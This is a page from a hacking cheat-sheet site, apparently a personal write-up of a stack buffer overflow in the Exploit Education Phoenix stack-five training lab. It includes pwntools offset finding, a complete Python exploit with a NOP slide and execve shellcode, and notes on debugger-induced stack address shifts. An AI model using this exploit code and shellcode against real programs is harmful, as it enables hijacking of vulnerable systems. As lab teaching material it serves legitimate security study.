Leet Sheet
  • Leet Sheet
  • TODO
  • Reconnaissance
    • Automated Reconnaissance
    • Domains
    • Scour the Web
    • Metadata
  • Web App Hacking
    • Enumeration
      • Webserver Virtualhost Subdomains
      • Common Identifiers
      • Web Fuzzing
      • Directory Enumeration
        • Automated Directory Enumeration
        • Manual Directory Enumeration
      • Automated Web Technology Detection
    • User Attacks
      • CORS Misconfigurations
      • DNS Rebinding
      • Open Redirect
      • Clickjacking
      • Cross Site Request Forgery (CSRF)
      • Session Fixation
      • XSS/Cross Site Scripting
      • CSS Injection
      • HTML Injection
      • Phishing
    • Database Attacks
      • SQL Injection
      • Get a Shell From DB Connection
    • Server Attacks
      • Collisions
      • Server Side Request Forgery
        • Redis SSRF
      • Insecure Direct Object Reference
      • Timing-Based Side-Channel Attacks
      • Attacking Authentication Methods
        • JWT Attacks
        • Brute Forcing Web Forms
      • Loose Comparisons
      • Unrestricted File Upload
      • Insecure Deserialization
      • Command Injection
      • Path Traversal
      • File Inclusion
      • Server-Side Template Injection
      • XML External Entities Injection (XXE)
      • Server Misconfigurations
      • Parser Inconsistencies
      • Bypassing WAFs
    • DNS Attacks
    • Cloud Attacks
      • Amazon Web Services
    • Interesting Outdated Attacks
      • SQL Truncation
  • Network Hacking
    • General Enumeration
    • RPC
    • LDAP
    • SMB
    • SNMP
    • WMI
    • SSH
    • Kerberos
    • NTLM
    • Man-In-the-Middle (MITM)
    • WinRM
  • Post Exploitation
    • Windows
      • CLI Tips
      • Shells
      • Windows Script Host
      • Windows Privilege Escalation
        • Enumeration
        • JuicyPotato/RottenPotato
        • Kernel Exploits
        • Unquoted Service Paths
      • Active Directory
      • Dumping Passwords
      • NTLM Hash Theft
    • Linux
      • Port Forwarding
      • Shells
      • Linux Privilege Escalation
        • Enumeration
        • SUID Bit
        • Dot (.) In PATH
        • Escape From Restricted Shell
        • Symlink Trickery
        • Wildcard Injection
        • Docker group/LXD group
        • Password Reuse
      • Backdoors
    • Docker Container
    • General
  • Various
    • CVEs
    • SSH Agent Hijacking
    • Password Cracking
    • Cryptography
    • Non-Hacking
    • Malware
    • Forensics
      • Reading Keystrokes from USB PCAP Data
  • Binary Exploitation
    • Resources
    • Base Knowledge
    • Format String Exploits
    • Stack Smashing
    • Heap Exploits
    • Time-of-Check to Time-of-Use (TOCTOU)
    • Shellcode
    • Decompilation
    • Debugging
    • Exploit Mitigations and Protections
    • Exploit Protection Bypassing
    • Passing Input
    • Fuzzing
    • Automatic Exploitation
  • Physical Security
    • Mechanical Locks
    • Electronic Locks
    • Other Attacks
    • Destructive Entry
    • Elevator Attacks
  • Social Engineering
    • Phishing
Powered by GitBook
On this page
  • Basic stack overflow with executable stack, no protections
  • Overview
  • Finding out how many bytes the overflow needs to be
  • Exploitation
  • Stack address changes
  • Shellcode corruption

Was this helpful?

  1. Binary Exploitation

Stack Smashing

PreviousFormat String ExploitsNextHeap Exploits

Last updated 2 years ago

Was this helpful?

Basic stack overflow with executable stack, no protections

Overview

Phoenix stack 5 example

What you need to do:

  1. Find the address of the buffer on the stack

  2. Find the address of the EIP on the stack, that was pushed for the RET instruction

  3. Subtract #1 from #2. That’s how much padding space you have

  4. Fill the padding space with random padding

  5. After the padding space, overwrite the EIP which was saved on the stack. It should point to the NOP slide in #6. Put it in the middle of the NOP slide due to differences in the stack address space (view section “Stack address changes”)

  6. After the overwritten EIP, put a NOP slide. You can be generous with this, like 128 bytes for example. But making it ridiculously large may break the program.

  7. After the NOP slide, put your shellcode

Note: You can also put the shellcode inside the buffer, but the above method is better, since then you won't be limited by the buffer size.

Finding out how many bytes the overflow needs to be

You need to know how many bytes you need to overflow to get to the saved return pointer. You can use the cyclic generator from pwntools to easily identify it.

You can generate the overflow like this (in ascii in this case, but you can also leave them as bytes for exploitation):

import pwn

number_of_bytes = 500
generator = pwn.util.cyclic.cyclic_gen()
overflow = generator.get(number_of_bytes).decode('ascii')
pwn cyclic 500

Use the generated overflow to cause a segfault in the application. Then look at dmesg:

sudo dmesg
[14515.106389] target[9460]: segfault at 61616b62 ip 0000000061616b62 sp 00000000ff9cd5f0 error 14

You can see that the instruction pointer was 61616b62, which corresponds to the ascii text 'aakb'. Also, it's in little endian, so it corresponds to 'bkaa' in the cyclic generator's output.

Echo out the overflow ascii and find out where the 'bkaa' string occurs in the cyclic output. That's the place where you need to put the address you want to overflow the saved return pointer with. The amount of bytes up until that string is the amount of bytes you need to get to the return pointer on the stack from the initial overflow location.

Exploitation

Here’s the script I used to generate the input file for the phoenix stack5 challenge:

from __future__ import print_function

override_length = 136

padding = 'A' * override_length
return_address = "\x00\x00\x7f\xff\xff\xff\xe5\x40"[::-1]
nop_slide = "\x90" * 128
shell_code = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

payload = padding + return_address + nop_slide + shell_code

with open('/home/user/input.txt', 'w') as f:
            print(payload, file=f)

Remember to cat the input in like this:

(cat ~/input.txt; cat) | /opt/phoenix/amd64/stack-five

Note: In hindsight, it would be better and easier to do this with pwntools.

Stack address changes

Note: This is not a real issue when you get to more advanced exploitation methods, because you don't ever provide absolute stack addresses anyways due to ASLR.

When you use a debugger like GDB or radare2, then that debugger will put environment variables on the stack. This will make the address space move around, and when running the program normally, the absolute addresses you found in your debugger will no longer be entirely correct.

Also, argv will be smaller if you call the program with the full path instead of a relative path (‘./program’ is smaller than ‘/path/to/program’).

Additionally, the current working directory is also on the stack, so different working directories will result in different addresses.

This is one reason why NOP slides are important. Note that the addresses relative to the base pointer should still stay the same.

So keep in mind - use a decent-sized nopslide and put the EIP/RIP into the middle of that nopslide. That way the address changes won’t mess up your exploit so easily. However, if you add too many, then the process will crash (probably because the stack runs out of space?) When I added 700 bytes of NOPs it was fine, but when I added 7000, then that was trouble.

Comparing stack changes in tools

I made a test file which shows differences in an address on the stack for different execution environments (This was run on the Exploit Education Phoenix machine. The GDB is modded there. Probably that’s why radare2 is better in this case)

Also, I didn’t try to simply attach the debugger. Maybe then the address wouldn’t change?

Execution type

Path to executable

Address

Normal

./catch-exec-test

0x7fffffffe4b0

Normal

/home/user/stack/stack5/catch-exec-test

0x7fffffffe470

Radare2

./catch-exec-test

0x7fffffffe490

Radare2

/home/user/stack/stack5/catch-exec-test

0x7fffffffe460

Gdb with environment variables

./catch-exec-test 0x7fffffffe460

0x7fffffffe460

Gdb without 2 environment variables unset

./catch-exec-test 0x7fffffffe480

0x7fffffffe480

Gdb with "catch exe" (another subprocess started using execve with no environment variables)

./catch-exec-test

0x7fffffffed60

Conclusion: On the Phoenix machine, Radare2 is the most accurate when you specify the full path. It was only off by 0x10.

Gdb without stack address changes

These lines should give the same environment variables as during normal execution. Run these inside gdb.

unset env LINES
unset env COLUMNS
set env _ /path/to/executable

Note: This didn’t work with the modded GDB of Phoenix

Radare2 without stack address changes

Radare2 has the configuration clearenv=true in the rr2 file, but it didn’t result in the same address for me as running normally. So, it doesn’t seem to work.

FixEnv script

This script may help you:

It will keep the locations the same between running the program with GDB and running it normally. Didn’t work with radare2 as of july 2020. Doesn’t work with the modded GDB of Phoenix. Doesn’t work with ASLR enabled.

Shellcode corruption

If your shellcode is on the stack, and your shellcode also pushes stuff onto the stack, then if the ESP is located where your shellcode is at, then your shellcode will corrupt itself by pushing data into its own code.

This is why you shouldn’t put your shellcode too close to the EIP, instead, you should have a NOP slide between them. Because that’s also where the stack pointer is. Also, remember that the stack grows downward, so putting the shellcode after the overwritten EIP (up higher) is a good idea.

LiveOverflow video discussing this:

Alternatively, you can use the :

pwntools command-line program
GitHub - hellman/fixenv: Fix stack addresses (when no ASLR) with and without debuggingGitHub
fixenv
Logo